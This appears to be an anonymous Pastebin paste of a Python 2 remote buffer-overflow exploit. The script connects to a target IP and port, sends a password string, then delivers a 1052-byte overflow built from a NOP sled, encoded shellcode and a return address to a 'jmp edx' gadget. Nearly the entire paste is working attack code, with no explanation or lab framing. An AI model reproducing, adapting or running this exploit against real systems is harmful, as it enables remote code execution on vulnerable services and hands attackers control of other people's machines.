Advertisement
Guest User

Untitled

a guest
Aug 29th, 2015
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.84 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import socket, sys
  4.  
  5. if len(sys.argv) != 3:
  6. print "supply IP PORT"
  7. sys.exit(-1)
  8.  
  9. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  10. sock.connect( (sys.argv[1], int(sys.argv[2])) )
  11.  
  12. ###send
  13. sock.sendall("secret\n\x00")
  14.  
  15. data = sock.recv(10000)
  16. print data
  17. shellcode = ""
  18. shellcode += "\xbd\x72\xfd\xa7\x4b\xda\xc5\xd9\x74\x24\xf4\x5f\x2b"
  19. shellcode += "\xc9\xb1\x31\x31\x6f\x13\x83\xc7\x04\x03\x6f\x7d\x1f"
  20. shellcode += "\x52\xb7\x69\x5d\x9d\x48\x69\x02\x17\xad\x58\x02\x43"
  21. shellcode += "\xa5\xca\xb2\x07\xeb\xe6\x39\x45\x18\x7d\x4f\x42\x2f"
  22. shellcode += "\x36\xfa\xb4\x1e\xc7\x57\x84\x01\x4b\xaa\xd9\xe1\x72"
  23. shellcode += "\x65\x2c\xe3\xb3\x98\xdd\xb1\x6c\xd6\x70\x26\x19\xa2"
  24. shellcode += "\x48\xcd\x51\x22\xc9\x32\x21\x45\xf8\xe4\x3a\x1c\xda"
  25. shellcode += "\x07\xef\x14\x53\x10\xec\x11\x2d\xab\xc6\xee\xac\x7d"
  26. shellcode += "\x17\x0e\x02\x40\x98\xfd\x5a\x84\x1e\x1e\x29\xfc\x5d"
  27. shellcode += "\xa3\x2a\x3b\x1c\x7f\xbe\xd8\x86\xf4\x18\x05\x37\xd8"
  28. shellcode += "\xff\xce\x3b\x95\x74\x88\x5f\x28\x58\xa2\x5b\xa1\x5f"
  29. shellcode += "\x65\xea\xf1\x7b\xa1\xb7\xa2\xe2\xf0\x1d\x04\x1a\xe2"
  30. shellcode += "\xfe\xf9\xbe\x68\x12\xed\xb2\x32\x78\xf0\x41\x49\xce"
  31. shellcode += "\xf2\x59\x52\x7e\x9b\x68\xd9\x11\xdc\x74\x08\x56\x12"
  32. shellcode += "\x3f\x11\xfe\xbb\xe6\xc3\x43\xa6\x18\x3e\x87\xdf\x9a"
  33. shellcode += "\xcb\x77\x24\x82\xb9\x72\x60\x04\x51\x0e\xf9\xe1\x55"
  34. shellcode += "\xbd\xfa\x23\x36\x20\x69\xaf\x97\xc7\x09\x4a\xe8"
  35.  
  36. #buf length to overwrite 1052
  37. size = 1052
  38. bp = '\xcc\x90\x90\x90'
  39. s1 = "\x90" * 500
  40. buf_size = size - len(shellcode) - len(s1) - len(bp) - 4 - 4
  41. buf = "\x90" * buf_size
  42.  
  43.  
  44. #0x6fc560fb
  45. #0x6e95762b
  46. #0x6fc8f1cf
  47. ret = "\x2b\x76\x95\x6e" #ret address to jmp edx
  48. #ret = "B" * 4
  49.  
  50. msg = buf + bp + shellcode + "BBBB" + s1 + ret
  51. sock.sendall(msg)
  52.  
  53. ###recieve
  54. data = sock.recv(10000)
  55. print data
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement